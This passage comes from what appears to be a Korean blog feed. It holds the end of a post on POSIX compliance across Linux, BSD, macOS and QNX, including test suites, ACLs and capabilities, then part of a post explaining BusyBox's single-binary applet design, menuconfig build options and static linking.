<li><p><strong>POSIX 구현</strong>: 리눅스는 POSIX 표준을 적극적으로 지원하는 운영 체제이다. 리눅스 커널은 POSIX 요구 사항을 상당 부분 충족하며, <strong>glibc</strong>는 POSIX 시스템 호출을 처리하고, <strong>GNU Coreutils</strong>와 같은 유틸리티들도 POSIX 규격에 맞춘다.</p>
</li>
<li><p><strong>지원 범위</strong>: 리눅스는 <strong>POSIX.1</strong>(시스템 호출 인터페이스), <strong>POSIX.1b</strong>(실시간 확장), <strong>POSIX.1c</strong>(스레드 및 동기화), <strong>POSIX.2</strong>(쉘 및 유틸리티)에 대해 상당히 높은 수준의 지원을 제공한다. 그러나 실시간 시스템 지원의 경우, 일부 제한이 있을 수 있다.</p>
</li>
<li><p><strong>확장</strong>: 리눅스는 POSIX 규격 외에도 자체적인 확장을 제공하며, 다양한 리눅스 배포판에서 POSIX 호환성을 갖춘 환경을 지원한다.</p>
</li>
</ul>
<h4 id="bsd-freebsd-openbsd-netbsd">BSD (FreeBSD, OpenBSD, NetBSD)</h4>
<ul>
<li><p><strong>POSIX 구현</strong>: BSD 계열 운영 체제는 POSIX 표준을 적극적으로 따르며, 특히 <strong>FreeBSD</strong>는 POSIX.1 및 POSIX.1b(실시간 시스템) 표준을 강력하게 지원한다. BSD는 POSIX 외에도 자체적인 특징과 시스템 호출을 추가하여 다양한 기능을 제공한다.</p>
</li>
<li><p><strong>차별화</strong>: BSD 시스템은 POSIX 규격을 충족하면서도 고유한 기능(예: <strong>디스크 성능, 네트워크 성능 최적화</strong>)을 강화하고 있으며, <strong>macOS</strong>는 BSD를 기반으로 하여 POSIX 호환성을 제공한다.</p>
</li>
</ul>
<h4 id="macos">macOS</h4>
<ul>
<li><p><strong>POSIX 구현</strong>: macOS는 <strong>XNU (X is Not Unix)</strong> 커널을 사용하며, 이는 <strong>BSD</strong>와 <strong>Mach</strong> 커널의 결합이다. macOS는 POSIX.1 및 POSIX.1c(스레드 API) 표준을 잘 준수하고 있으며, 다양한 <strong>Apple만의 확장</strong>을 통해 POSIX 규격을 보완한다.</p>
</li>
<li><p><strong>제약</strong>: macOS는 POSIX 규격을 준수하지만 일부 시스템 호출과 인터페이스에서 <strong>사소한 차이</strong>가 있을 수 있으며, 특정 리눅스나 BSD 시스템에서 제공하는 기능과는 다를 수 있다.</p>
</li>
</ul>
<h4 id="qnx">QNX</h4>
<ul>
<li><p><strong>POSIX 구현</strong>: QNX는 실시간 운영 체제로, POSIX.1 및 POSIX.1b를 강력하게 구현하고 있다. QNX는 실시간 시스템을 위한 고급 기능을 제공하며, 이를 기반으로 산업용 애플리케이션을 지원한다.</p>
</li>
<li><p><strong>특징</strong>: QNX는 <strong>실시간 시스템</strong>에서의 POSIX 지원이 특히 강력하며, <strong>다중 프로세서 시스템</strong>에서의 확장성, 낮은 지연 시간, 안정성 등의 특징을 지닌다. 하지만, QNX의 특정 기능은 리눅스나 BSD와는 다르게 구현될 수 있다.</p>
</li>
</ul>
<h3 id="42-완전-구현-vs-부분-구현의-사례">4.2 완전 구현 vs 부분 구현의 사례</h3>
<p>POSIX 표준은 매우 광범위하며, 일부 운영 체제는 POSIX의 특정 부분만을 구현하거나 제한적인 방식으로 구현하기도 한다.</p>
<h4 id="완전-구현">완전 구현</h4>
<ul>
<li><p><strong>Linux</strong>: 리눅스는 대부분의 POSIX 요구 사항을 구현하고 있으며, 특히 <strong>glibc</strong>는 POSIX 시스템 호출을 매우 충실히 구현한다. 리눅스는 <strong>POSIX.1</strong>, <strong>POSIX.1b</strong>, <strong>POSIX.1c</strong>(스레드) 표준을 거의 완벽하게 지원한다.</p>
</li>
<li><p><strong>FreeBSD</strong>: FreeBSD는 POSIX 규격을 완전하게 구현하며, BSD 시스템 호출이 포함되어 있어 호환성 또한 우수하다.</p>
</li>
</ul>
<h4 id="부분-구현">부분 구현</h4>
<ul>
<li><p><strong>macOS</strong>: macOS는 POSIX 규격을 대부분 준수하지만, <strong>몇몇 시스템 호출</strong>에서 미묘한 차이가 존재한다. 예를 들어, macOS는 POSIX의 <strong>IPC</strong>(Inter-Process Communication) 부분에서 일부 시스템 호출을 다르게 구현하며, 리눅스의 특정 확장된 기능을 지원하지 않는다.</p>
</li>
<li><p><strong>QNX</strong>: QNX는 실시간 기능을 중시하기 때문에 <strong>POSIX.1b</strong>(실시간 확장)에 대한 강력한 지원을 제공하지만, <strong>일반 POSIX 시스템 호출</strong>의 경우 일부만 지원한다. 이는 QNX의 특성상 실시간 성능 최적화가 필요하기 때문이다.</p>
</li>
</ul>
<h4 id="부분-구현의-예">부분 구현의 예</h4>
<ul>
<li><p><strong>POSIX.1</strong>: 시스템 호출 API 및 파일 시스템 관련 기능은 대부분의 운영 체제에서 완전 구현되지만, <strong>실시간 확장(POSIX.1b)</strong> 이나 <strong>특정 스레드 동기화 메커니즘(POSIX.1c)</strong> 은 일부 운영 체제에서 <strong>제한적</strong>으로만 지원된다.</p>
</li>
<li><p><strong>파일 디스크립터와 I/O</strong>: 파일 디스크립터와 I/O 관련 함수는 대부분 구현되어 있지만, <strong>이벤트 기반 I/O</strong>(예: <code>epoll</code>이나 <code>kqueue</code>)는 일부 운영 체제에서만 지원된다.</p>
</li>
</ul>
<h3 id="43-posix-테스트-도구pcts-lsb-등-및-검증-절차">4.3 POSIX 테스트 도구(PCTS, LSB 등) 및 검증 절차</h3>
<p>POSIX 호환성을 검증하기 위한 여러 도구와 절차가 존재한다. 이러한 도구들은 운영 체제나 애플리케이션이 POSIX 표준을 얼마나 충족하는지 확인하는 데 유용하다.</p>
<h4 id="posix-compliance-test-suite-pcts">POSIX Compliance Test Suite (PCTS)</h4>
<ul>
<li><p><strong>PCTS</strong>는 POSIX 규격에 대한 <strong>표준화된 테스트 도구</strong>로, 시스템이 POSIX를 얼마나 정확하게 구현하고 있는지 검증한다. 이 테스트 스위트는 <strong>시스템 호출</strong>, <strong>파일 시스템</strong>, <strong>스레딩</strong> 등 POSIX의 다양한 요소에 대한 테스트를 포함한다.</p>
</li>
<li><p><strong>목적</strong>: POSIX 준수 여부를 테스트하고, <strong>운영 체제의 호환성</strong>을 검사하는 데 사용된다. 이를 통해 운영 체제 개발자는 규격을 충족하는지 확인하고, 개선해야 할 부분을 식별할 수 있다.</p>
</li>
</ul>
<h4 id="lsb-linux-standard-base">LSB (Linux Standard Base)</h4>
<ul>
<li><p><strong>LSB</strong>는 리눅스 환경에서 POSIX 호환성을 높이기 위해 정의된 표준이다. LSB는 POSIX 표준을 기반으로 하여 리눅스 배포판 간의 <strong>호환성</strong>을 보장하는 데 중점을 두고 있으며, 리눅스 애플리케이션의 <strong>이식성</strong>을 높이기 위한 목적으로 사용된다.</p>
</li>
<li><p><strong>검증</strong>: LSB 인증을 받은 리눅스 배포판은 POSIX 호환성을 보장한다. 이를 통해 개발자는 다양한 리눅스 시스템에서 애플리케이션을 문제없이 실행할 수 있다.</p>
</li>
</ul>
<h4 id="기타-검증-도구">기타 검증 도구</h4>
<ul>
<li><p><strong>PosixTest</strong>: POSIX 규격을 준수하는지 테스트할 수 있는 <strong>오픈 소스 도구</strong>. 시스템 호출, IPC, 스레딩 등의 기능을 점검한다.</p>
</li>
<li><p><strong>Test Suites</strong>: 대부분의 POSIX 호환 운영 체제는 자체 테스트 도구를 제공한다. 예를 들어, FreeBSD는 자체적으로 <strong>POSIX 테스트</strong>를 위한 스위트를 제공하며, 이들은 운영 체제의 호환성을 평가하는 데 사용된다.</p>
</li>
</ul>
<h4 id="검증-절차">검증 절차</h4>
<ol>
<li><strong>테스트 환경 설정</strong>: 테스트할 운영 체제의 버전과 테스트 환경을 설정한다.</li>
<li><strong>테스트 실행</strong>: POSIX 표준에 따른 시스템 호출, 스레드, IPC 등의 동작을 검사한다.</li>
<li><strong>결과 분석</strong>: 테스트 결과를 분석하고, <strong>POSIX 규격과의 차이점</strong>을 검토하여 필요한 수정 사항을 파악한다.</li>
<li><strong>보완 및 수정</strong>: 검증 결과에 따라 운영 체제 개발자는 규격을 준수하지 않는 부분을 보완하고 수정한다.</li>
</ol>
<hr>
<h2 id="5-보안-이식성-현대-시스템에서의-posix-역할">5. 보안, 이식성, 현대 시스템에서의 POSIX 역할</h2>
<h3 id="51-보안-모델과-권한-시스템acl-capability-등">5.1 보안 모델과 권한 시스템(ACL, capability 등)</h3>
<p>POSIX는 기본적인 보안 모델을 제공하며, 특히 사용자 인증, 파일 및 프로세스 권한 관리에서 중요한 역할을 한다. 그러나 현대적인 보안 요구 사항을 충족하기 위해 POSIX 표준에 추가된 기능들이 존재한다.</p>
<h4 id="1-기본-권한-모델">1. 기본 권한 모델</h4>
<ul>
<li><p>POSIX는 기본적으로 파일 권한을 <code>rwx</code>(읽기, 쓰기, 실행)로 관리하는 유닉스 권한 모델을 채택하고 있다. 이 모델은 소유자, 그룹, 그리고 기타 사용자로 파일 권한을 나누어 설정할 수 있다.</p>
</li>
<li><p><code>chmod</code>, <code>chown</code>, <code>chgrp</code> 등의 명령어를 통해 파일 시스템 상에서 각 항목의 권한을 관리한다.</p>
</li>
</ul>
<h4 id="2-acl-access-control-list">2. ACL (Access Control List)</h4>
<ul>
<li><p>POSIX에서 제공하는 기본 권한 모델을 넘어서 ACL(액세스 제어 목록)은 더 세밀한 권한 설정을 가능하게 한다. ACL을 사용하면 파일에 대해 더 세부적인 권한 설정(예: 특정 사용자 또는 그룹에 대해 읽기/쓰기/실행 권한)을 할 수 있다.</p>
</li>
<li><p>POSIX.1e 확장에서는 ACL을 추가하여, 파일 권한의 구체적이고 복잡한 제어가 가능하도록 하였다.</p>
</li>
<li><p>ACL은 POSIX 표준에서 벗어나는 경우가 많고, 리눅스와 BSD 계열에서 주로 지원된다.</p>
</li>
</ul>
<h4 id="3-capability-능력-기반-권한-관리">3. Capability (능력 기반 권한 관리)</h4>
<ul>
<li><p>POSIX는 기본적인 권한 제어를 제공하지만, 현대적인 시스템에서는 특정 권한만을 분리하여 부여하는 Capability 모델이 점차 중요해지고 있다.</p>
</li>
<li><p>Capability는 프로세스에 최소 권한만 부여하여 보안성을 높이고, 이를 통해 권한 상승 공격을 방지할 수 있다. 예를 들어, 프로세스가 루트 권한을 가질 필요 없이 특정 권한만을 가지도록 설정할 수 있다.</p>
</li>
<li><p>리눅스에서는 capabilities를 통해 POSIX의 전통적인 권한 모델을 확장할 수 있으며, <code>setcap</code>, <code>getcap</code> 등의 도구로 관리할 수 있다.</p>
</li>
</ul>
<h3 id="52-이식성-확보를-위한-posix의-전략적-역할">5.2 이식성 확보를 위한 POSIX의 전략적 역할</h3>
<p>POSIX의 주요 목표 중 하나는 <strong>이식성</strong>이다. 여러 운영 체제 간에 소프트웨어를 호환되게 만들 수 있도록 규격을 제공하여, 개발자가 특정 운영 체제에 의존하지 않게 한다. POSIX는 애플리케이션이 여러 플랫폼에서 실행될 수 있도록 보장한다.</p>
<h4 id="1-posix의-이식성-보장">1. POSIX의 이식성 보장</h4>
<ul>
<li><p><strong>이식성</strong>: POSIX 규격을 따르는 애플리케이션은 다양한 운영 체제에서 소스 코드 변경 없이 실행될 수 있다. 이를 통해 운영 체제 간의 차이점을 추상화하고, 개발자는 시스템 호출과 인터페이스의 차이를 걱정하지 않고 프로그래밍할 수 있다.</p>
</li>
<li><p>예를 들어, 리눅스, BSD, macOS, AIX, Solaris 등은 모두 POSIX 표준을 준수하므로, 이를 기반으로 작성된 애플리케이션은 여러 운영 체제에서 동작할 수 있다.</p>
</li>
</ul>
<h4 id="2-posix-표준과-이식성의-한계">2. POSIX 표준과 이식성의 한계</h4>
<ul>
<li><p>POSIX 표준이 완벽한 이식성을 보장하는 것은 아니다. 각 운영 체제는 POSIX를 준수하지만, 구체적인 시스템 호출이나 운영 체제의 고유한 기능이 추가될 수 있다. 이로 인해 소프트웨어가 일부 시스템에서는 원활하게 동작하지만 다른 시스템에서는 문제가 발생할 수 있다.</p>
</li>
<li><p>특히 실시간 운영 체제(RTOS)나 임베디드 시스템에서 POSIX 호환성이 완전하지 않은 경우가 많다. 실시간 처리 성능이나 리소스 제한이 중요한 환경에서는 POSIX의 제약이 문제가 될 수 있다.</p>
</li>
</ul>
<h4 id="3-개발자의-역할">3. 개발자의 역할</h4>
<ul>
<li><p>POSIX 규격을 따르면 이식성 있는 애플리케이션을 개발할 수 있지만, 실제로는 운영 체제의 특성(예: 파일 시스템, 네트워크 모델, 프로세스 관리)을 고려하여 애플리케이션을 조정해야 할 때가 많다.</p>
</li>
<li><p>POSIX 호환성 도구(PCTS, LSB 등)를 활용하여 테스트하고, 다양한 운영 체제에서의 동작을 검증하는 것이 중요하다.</p>
</li>
</ul>
<h3 id="53-posix의-한계와-컨테이너-마이크로커널-등-현대-시스템과의-접점">5.3 POSIX의 한계와 컨테이너, 마이크로커널 등 현대 시스템과의 접점</h3>
<p>현대 시스템에서는 POSIX의 전통적인 한계와 함께, 새로운 아키텍처나 시스템 모델이 등장했다. 특히, <strong>컨테이너</strong>와 <strong>마이크로커널</strong> 환경에서는 POSIX가 새로운 역할을 해야 한다.</p>
<h4 id="1-컨테이너와-posix">1. 컨테이너와 POSIX</h4>
<ul>
<li><p>컨테이너(예: Docker)는 POSIX 호환성에 의존하지만, 운영 체제와 독립적인 격리된 환경에서 동작한다. 컨테이너는 OS 커널을 공유하며, 리소스를 격리하는 방식으로 경량화된 가상화를 제공한다.</p>
</li>
<li><p>컨테이너화된 시스템에서는 POSIX 규격을 따르더라도 커널 기능을 제한하거나 수정해야 할 경우가 많다. 예를 들어, 호스트 OS의 네트워크 설정, 파일 시스템 권한, IPC 등이 컨테이너에 영향을 미친다.</p>
</li>
<li><p>Docker는 POSIX API를 지원하는 환경에서 실행되지만, 일부 시스템 호출이나 고유한 호스트 OS의 특성을 이용하는 경우가 많기 때문에 이식성에 제약이 있을 수 있다.</p>
</li>
</ul>
<h4 id="2-마이크로커널-아키텍처와-posix">2. 마이크로커널 아키텍처와 POSIX</h4>
<ul>
<li><p>마이크로커널은 운영 체제의 핵심 기능만 커널에 두고, 나머지 기능을 서브시스템으로 분리하여 모듈화한 아키텍처이다. POSIX 규격을 마이크로커널 아키텍처에 통합하는 것은 더 복잡할 수 있다.</p>
</li>
<li><p>마이크로커널에서는 시스템 호출을 통해 운영 체제의 핵심 기능만을 제공하고, 나머지 부분은 유저 공간에서 동작하는 서브시스템(예: 파일 시스템, 네트워크 프로토콜)에 의존한다.</p>
</li>
<li><p>POSIX는 전통적인 커널 중심의 시스템 모델에 최적화되어 있으므로, 마이크로커널 아키텍처와의 통합에는 추가적인 추상화 계층이 필요할 수 있다.</p>
</li>
</ul>
<h4 id="3-posix의-한계">3. POSIX의 한계</h4>
<ul>
<li><p>동시성 모델: POSIX는 전통적으로 스레드나 프로세스 중심의 동시성 모델을 채택하고 있다. 그러나 현대의 멀티코어 시스템에서는 비동기식 프로그래밍 모델이나 하드웨어 병렬 처리와 같은 새로운 요구사항에 맞춰 POSIX의 동시성 모델을 확장해야 할 필요성이 있다.</p>
</li>
<li><p>실시간 시스템 지원: POSIX는 실시간 시스템을 위한 POSIX.1b 규격을 제공하지만, 고속 응답성이나 고도화된 실시간 제어가 필요한 경우 POSIX만으로는 해결할 수 없는 한계가 존재한다.</p>
</li>
<li><p>네트워크 성능: POSIX 규격에서는 소켓 프로그래밍을 지원하지만, 최신 네트워크 환경에서의 높은 성능이나 특수한 네트워크 환경에 대응하는 데는 한계가 있을 수 있다.</p>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[Daily CS) Busybox]]></title>
            <link>https://velog.io/@lilac_21/Daily-CS-Busybox</link>
            <guid>https://velog.io/@lilac_21/Daily-CS-Busybox</guid>
            <pubDate>Thu, 01 May 2025 14:49:41 GMT</pubDate>
            <description><![CDATA[<h1 id="busybox">Busybox</h1>
<blockquote>
<p> software suite that provides several Unix utilities in a single executable file</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/b46739f3-c7ae-4587-aa6d-71148ae2f7a2/image.png" alt=""></p>
<p>오늘의 주제는 busybox이다. 임베디드 환경에서의 시스템을 다루다 보면 정말 자주 보게 되는 친구인데, 연관된 개념들 중 다뤄볼만한 것들이 많아 보여 가져왔다.</p>
<hr>
<h2 id="1-busybox-개요-및-설계-철학">1. BusyBox 개요 및 설계 철학</h2>
<h3 id="11-busybox의-정의-및-개발-목적">1.1 BusyBox의 정의 및 개발 목적</h3>
<p><strong>BusyBox</strong>는 리눅스 환경에서 사용되는 다양한 유닉스 명령어 유틸리티들을 단일 실행 파일로 통합한 소프트웨어이다. 일반적으로는 <code>/bin/ls</code>, <code>/bin/cat</code>, <code>/bin/sh</code>와 같이 개별적인 실행 파일로 존재하는 유틸리티들을 하나의 바이너리(<code>busybox</code>) 내부에 모두 내장하고, 각 유틸리티는 실행 시 전달된 이름에 따라 동작이 결정된다.</p>
<p>초기 개발 목적은 다음과 같다:</p>
<ul>
<li><strong>임베디드 시스템</strong>을 위한 경량화된 사용자 공간 유틸리티 집합 제공</li>
<li><strong>디스크 및 메모리 자원이 제한된 환경</strong>에서 필수적인 명령어 제공</li>
<li><strong>정적 링크 및 단일 바이너리 구성</strong>을 통한 유지보수 간소화 및 배포 용이성 확보</li>
</ul>
<p>특히 BusyBox는 부트로더 이후 사용자 공간에서 최초로 실행되는 유틸리티 집합으로 자주 사용되며, 임베디드 개발, 초기화 RAM 디스크(initramfs), 리눅스 복구 시스템 등에서 거의 표준처럼 채택된다.</p>
<h3 id="12-unix-유틸리티-통합-구조와-모놀리식-아키텍처">1.2 UNIX 유틸리티 통합 구조와 모놀리식 아키텍처</h3>
<p>BusyBox는 전통적인 유닉스의 &quot;모듈형 유틸리티 설계&quot; 철학을 유지하되, 이를 <strong>모놀리식(monolithic)</strong> 바이너리로 통합한다. 이는 각 기능이 별도의 실행 파일로 존재하는 구조와 대비된다.</p>
<h4 id="통합-구조의-특징">통합 구조의 특징:</h4>
<ul>
<li>모든 유틸리티는 <code>busybox</code> 바이너리 내부에 &quot;applet&quot; 형태로 등록된다.</li>
<li>실행 시 argv[0] 또는 심볼릭 링크의 이름을 참조하여 해당 applet로 분기한다.</li>
<li>별도의 실행 파일이 존재하는 것처럼 보이지만, 실제로는 같은 바이너리가 실행된다.</li>
</ul>
<p>예를 들어 다음과 같이 동작한다:</p>
<pre><code class="language-bash"># ln -s /bin/busybox /bin/ls
# ls      # =&gt; busybox 내부의 ls applet이 실행됨</code></pre>
<p>이 방식은 다음과 같은 <strong>이점</strong>을 제공한다:</p>
<ul>
<li><strong>디스크 사용량 절감</strong>: 단일 바이너리로 모든 유틸리티 제공 가능</li>
<li><strong>메모리 절약</strong>: 공유된 코드 영역으로 인해 프로세스 간 메모리 중복이 적음</li>
<li><strong>일관된 빌드/배포</strong>: 기능 추가 및 유지보수가 효율적임</li>
</ul>
<p>그러나 이러한 구조는 전통적인 유틸리티에 비해 기능이 제한적일 수 있으며, GNU coreutils와 비교했을 때 옵션 지원이 축소되어 있을 수 있다.</p>
<h3 id="13-임베디드-시스템에서의-활용-배경과-장점">1.3 임베디드 시스템에서의 활용 배경과 장점</h3>
<p>BusyBox는 임베디드 시스템 개발 환경에서 거의 표준처럼 사용된다. 이는 다음과 같은 환경적 요구와 맞물린다:</p>
<ul>
<li><strong>저용량 스토리지</strong> (예: NAND/NOR Flash)</li>
<li><strong>제한된 시스템 메모리</strong></li>
<li><strong>빠른 부팅 및 초기화 필요성</strong></li>
<li><strong>정적 링크 기반의 안정성 요구</strong></li>
</ul>
<h4 id="주요-장점">주요 장점:</h4>
<ul>
<li><strong>단일 바이너리 기반</strong>: 여러 유틸리티를 별도로 설치할 필요 없이 단 하나의 파일로 구성 가능</li>
<li><strong>커스터마이징 가능</strong>: <code>menuconfig</code>를 통한 기능 선택 및 최소화 가능</li>
<li><strong>빠른 실행</strong>: 불필요한 의존성이 제거되어 실행 속도가 빠름</li>
<li><strong>높은 이식성</strong>: 다양한 아키텍처(MIPS, ARM, x86 등)에 쉽게 포팅 가능</li>
</ul>
<h4 id="사용-환경">사용 환경:</h4>
<ul>
<li>라우터 펌웨어(OpenWRT, DD-WRT 등)</li>
<li>IoT 디바이스</li>
<li>차량용 인포테인먼트 시스템</li>
<li>초기화 RAM 디스크(initramfs, initrd)</li>
<li>컨테이너 및 Alpine Linux 기반 시스템</li>
</ul>
<p>이처럼 BusyBox는 자원 제약 환경에서의 운영체제 유틸리티 제공이라는 문제를 효율적으로 해결함으로써, 경량 시스템 설계에서 핵심적인 역할을 담당하고 있다.</p>
<hr>
<h2 id="2-busybox-내부-구조와-명령-실행-원리">2. BusyBox 내부 구조와 명령 실행 원리</h2>
<h3 id="21-단일-바이너리-구조-및-symlink-처리-방식">2.1 단일 바이너리 구조 및 symlink 처리 방식</h3>
<p>BusyBox는 <strong>단일 실행 파일(monolithic binary)</strong> 내부에 다수의 유틸리티 명령어를 내장하고 있으며, 외부에서는 마치 각각의 명령어가 개별 실행 파일인 것처럼 보이도록 설계되어 있다. 이 구조는 실제 실행 시 링크 이름(예: <code>/bin/ls</code>)이나 전달된 <code>argv[0]</code> 값에 따라 어떤 명령어를 실행할지를 결정한다.</p>
<h4 id="symlink-처리-방식">symlink 처리 방식:</h4>
<ul>
<li>일반적으로는 <code>/bin/ls</code>, <code>/bin/cp</code> 등의 유틸리티가 BusyBox 바이너리에 대한 심볼릭 링크로 존재한다.</li>
<li>사용자가 <code>ls</code> 명령을 실행하면 커널은 <code>/bin/ls</code>를 찾아 해당 심볼릭 링크가 가리키는 BusyBox 바이너리를 실행한다.</li>
<li>실행된 BusyBox는 <code>argv[0]</code> 값이 <code>&quot;ls&quot;</code>라는 것을 확인하고, 내부에 등록된 <code>&quot;ls&quot;</code> applet을 찾아 실행한다.</li>
</ul>
<pre><code class="language-bash">$ ln -s /bin/busybox /bin/ls
$ ls         # busybox 실행, 내부 ls 함수 실행</code></pre>
<h3 id="22-applet-기반-명령어-등록-및-분기-구조">2.2 applet 기반 명령어 등록 및 분기 구조</h3>
<p>BusyBox의 내부 유틸리티는 모두 <code>applet</code>이라고 불리는 독립된 모듈로 구현되어 있다. 각 applet은 초기화 시 전역 테이블에 등록되며, 실행 시 해당 테이블을 기반으로 분기된다.</p>
<h4 id="applet-등록-구조">applet 등록 구조:</h4>
<ul>
<li>BusyBox 소스코드 내 <code>applet_table[]</code>이라는 배열 또는 해시 테이블 형태로 모든 명령어가 등록되어 있다.</li>
<li>각 applet은 함수 포인터를 가지며, 해당 명령어에 대한 엔트리 포인트를 명시한다.</li>
<li>applet은 <code>applets/applets.h</code>, <code>coreutils/</code>, <code>networking/</code> 등의 디렉토리에 구성되어 있으며, 컴파일 시 설정(config)에 따라 포함 여부가 결정된다.</li>
</ul>
<p>예를 들어, 아래는 BusyBox 내에서 applet을 등록하는 방식의 예시이다:</p>
<pre><code class="language-c">APPLET_NOFORK(ls, ls_main, BB_DIR_BIN, BB_SUID_DROP, ls_usage)</code></pre>
<h4 id="실행-흐름">실행 흐름:</h4>
<ol>
<li><code>main()</code> 함수에서 <code>argv[0]</code>을 통해 호출된 명령어 이름을 추출</li>
<li>등록된 applet 목록을 탐색하여 이름이 일치하는 applet 확인</li>
<li>해당 applet의 엔트리 함수(예: <code>ls_main()</code>)로 분기하여 명령 수행</li>
</ol>
<p>이 분기 구조는 <strong>동적 디스패치 방식</strong>을 따르며, 새로운 유틸리티를 추가하거나 제거하는 것이 비교적 용이하다.</p>
<h3 id="23-busybox-실행-흐름과-셸-내-통합-방식">2.3 BusyBox 실행 흐름과 셸 내 통합 방식</h3>
<p>BusyBox는 단순한 유틸리티 모음일 뿐 아니라 <strong>셸(shell)</strong> 기능도 내장하고 있으며, 필요 시 <code>/bin/sh</code> 또는 <code>/bin/ash</code>로써 기본 셸로 동작할 수 있다. 이는 BusyBox를 초기 사용자 공간에서 사용할 수 있도록 하는 중요한 기능이다.</p>
<h4 id="실행-흐름-요약">실행 흐름 요약:</h4>
<ol>
<li><strong>프로세스 시작</strong>: 커널이 심볼릭 링크(<code>/bin/ls</code> 등)를 통해 busybox 바이너리를 실행</li>
<li><strong>argv[0] 해석</strong>: BusyBox <code>main()</code> 함수는 <code>argv[0]</code>을 기준으로 어떤 명령어를 실행할지 결정</li>
<li><strong>applet 디스패치</strong>: 등록된 applet 테이블에서 해당 이름을 탐색하여 대응되는 함수로 분기</li>
<li><strong>명령 실행</strong>: 해당 applet의 <code>main</code> 함수에서 유닉스 명령어 기능을 수행</li>
</ol>
<h4 id="셸-통합-구조">셸 통합 구조:</h4>
<ul>
<li>BusyBox는 <code>ash</code>, <code>hush</code>, <code>lash</code> 등의 <strong>경량 셸 구현체</strong>를 내장하고 있으며, <code>/bin/sh</code>로 등록되는 경우가 일반적이다.</li>
<li>일반적인 로그인 셸로도 사용될 수 있으며, init 스크립트나 시스템 복구 셸에서도 사용된다.</li>
<li>BusyBox 셸은 POSIX 준수 수준에서 기본 기능을 제공하지만, Bash와 비교했을 때 기능이 축소되어 있다. 다만, if-else, for-loop, 함수 정의 등은 기본적으로 지원된다.</li>
</ul>
<h4 id="busybox-init-시스템">BusyBox init 시스템:</h4>
<ul>
<li><code>/init</code> 또는 <code>/etc/inittab</code> 스크립트를 실행하여 시스템 초기화 루틴을 수행</li>
<li>BusyBox <code>init</code>은 일반적인 <code>sysvinit</code>, <code>systemd</code> 등과 달리 <strong>정적이고 간단한 init 스크립트 기반</strong> 실행 모델을 따른다.</li>
</ul>
<hr>
<h2 id="3-busybox-구성-및-빌드-시스템">3. BusyBox 구성 및 빌드 시스템</h2>
<h3 id="31-menuconfig를-통한-구성-옵션-선택">3.1 menuconfig를 통한 구성 옵션 선택</h3>
<p>BusyBox는 Linux 커널과 유사한 <strong>Kconfig 시스템</strong>을 통해 설정 메뉴를 제공하며, <code>make menuconfig</code> 명령을 통해 구성할 수 있다. 이는 사용자에게 인터랙티브한 <strong>텍스트 기반 UI</strong>를 제공하여, BusyBox에 포함할 유틸리티를 선택하거나 제외할 수 있게 해준다.</p>
<h4 id="menuconfig-진입-방법"><code>menuconfig</code> 진입 방법</h4>
<pre><code class="language-bash">$ make menuconfig</code></pre>
<p>이 명령을 입력하면 ncurses 기반의 GUI가 열리며 다음과 같은 주요 구성 요소를 설정할 수 있다:</p>
<ul>
<li><strong>BusyBox Settings</strong>: 압축 방식, 라이센스, 로깅, 오류 처리 등 전반적 시스템 옵션</li>
<li><strong>Build Options</strong>: 정적 링크/동적 링크 여부, 컴파일러 플래그 등 설정</li>
<li><strong>Shells</strong>: 사용할 셸(ash, hush 등) 선택</li>
<li><strong>Coreutils, Networking Utilities 등</strong>: 포함할 명령어 선택</li>
</ul>
<h4 id="주요-특징">주요 특징:</h4>
<ul>
<li>선택된 항목은 <code>.config</code> 파일에 저장되며, 이는 이후 <code>make</code> 시 빌드 대상이 된다.</li>
<li>각 명령어는 설정에 따라 <code>y</code> (포함), <code>n</code> (제외), <code>m</code> (모듈화 — BusyBox에서는 거의 사용되지 않음)로 설정 가능</li>
<li>커널 구성과 동일한 방식이므로 학습 곡선이 낮으며, 크기 최적화에 유리하다.</li>
</ul>
<h3 id="32-유틸리티-포함제외-전략과-컴파일-방식">3.2 유틸리티 포함/제외 전략과 컴파일 방식</h3>
<p>BusyBox는 필요 없는 기능을 배제함으로써 바이너리 크기를 최소화할 수 있도록 설계되었다. 이는 특히 <strong>제한된 스토리지를 가진 임베디드 시스템</strong>에서 매우 중요한 특성이다.</p>
<h4 id="유틸리티-포함제외-전략">유틸리티 포함/제외 전략:</h4>
<ul>
<li>기본적으로 모든 유틸리티는 별도의 옵션으로 개별 제어 가능</li>
<li>예를 들어 <code>ls</code>, <code>cp</code>, <code>wget</code>, <code>vi</code> 등을 필요에 따라 포함하거나 제외 가능</li>
<li>선택적으로 기능 축소가 가능함. 예: <code>ls</code> 명령에서 <code>--color</code> 등 불필요한 옵션 제외 가능</li>
</ul>
<h4 id="빌드-과정">빌드 과정:</h4>
<ol>
<li>설정 저장: <code>make menuconfig</code> 결과는 <code>.config</code> 파일에 저장됨</li>
<li>의존성 생성: <code>make oldconfig</code>, <code>make defconfig</code> 등으로 자동 의존성 정리 가능</li>
<li>컴파일: <code>make</code> 명령 실행 시 BusyBox 소스 전체가 단일 바이너리로 빌드됨</li>
</ol>
<pre><code class="language-bash">$ make
$ file busybox
ELF 32-bit LSB executable, statically linked, for GNU/Linux</code></pre>
<h4 id="용량-차이-예시-표준-구성-기준">용량 차이 예시 (표준 구성 기준):</h4>
<table>
<thead>
<tr>
<th>설정</th>
<th>바이너리 크기</th>
</tr>
</thead>
<tbody><tr>
<td>전체 유틸리티 포함</td>
<td>약 1.2 MB</td>
</tr>
<tr>
<td>최소 구성</td>
<td>250~300 KB</td>
</tr>
</tbody></table>
<p>이는 BusyBox가 특정 환경에 맞게 커스터마이징 가능한 범용 도구임을 보여준다.</p>
<h3 id="33-정적-링크와-동적-링크-설정-차이">3.3 정적 링크와 동적 링크 설정 차이</h3>
<p>BusyBox는 정적(static) 또는 동적(dynamic) 방식으로 링크할 수 있으며, 이 선택은 시스템 독립성과 실행 환경에 큰 영향을 미친다.</p>
<h4 id="정적-링크-statically-linked">정적 링크 (Statically Linked):</h4>
<ul>
<li>모든 라이브러리 함수를 바이너리에 포함하여 <strong>자체 완결성</strong> 보장</li>
<li>외부 환경(예: libc, ld-linux 등)에 의존하지 않으므로 <strong>초기 부트 환경(initramfs, initrd)</strong>에서 자주 사용</li>
<li>실행 중 공유 라이브러리 손상에 영향을 받지 않음</li>
<li>크기가 커질 수 있음 (예: glibc 기반 정적 링크 시 1.5MB 이상)</li>
</ul>
<pre><code class="language-bash">$ make CONFIG_STATIC=y</code></pre>
<ul>
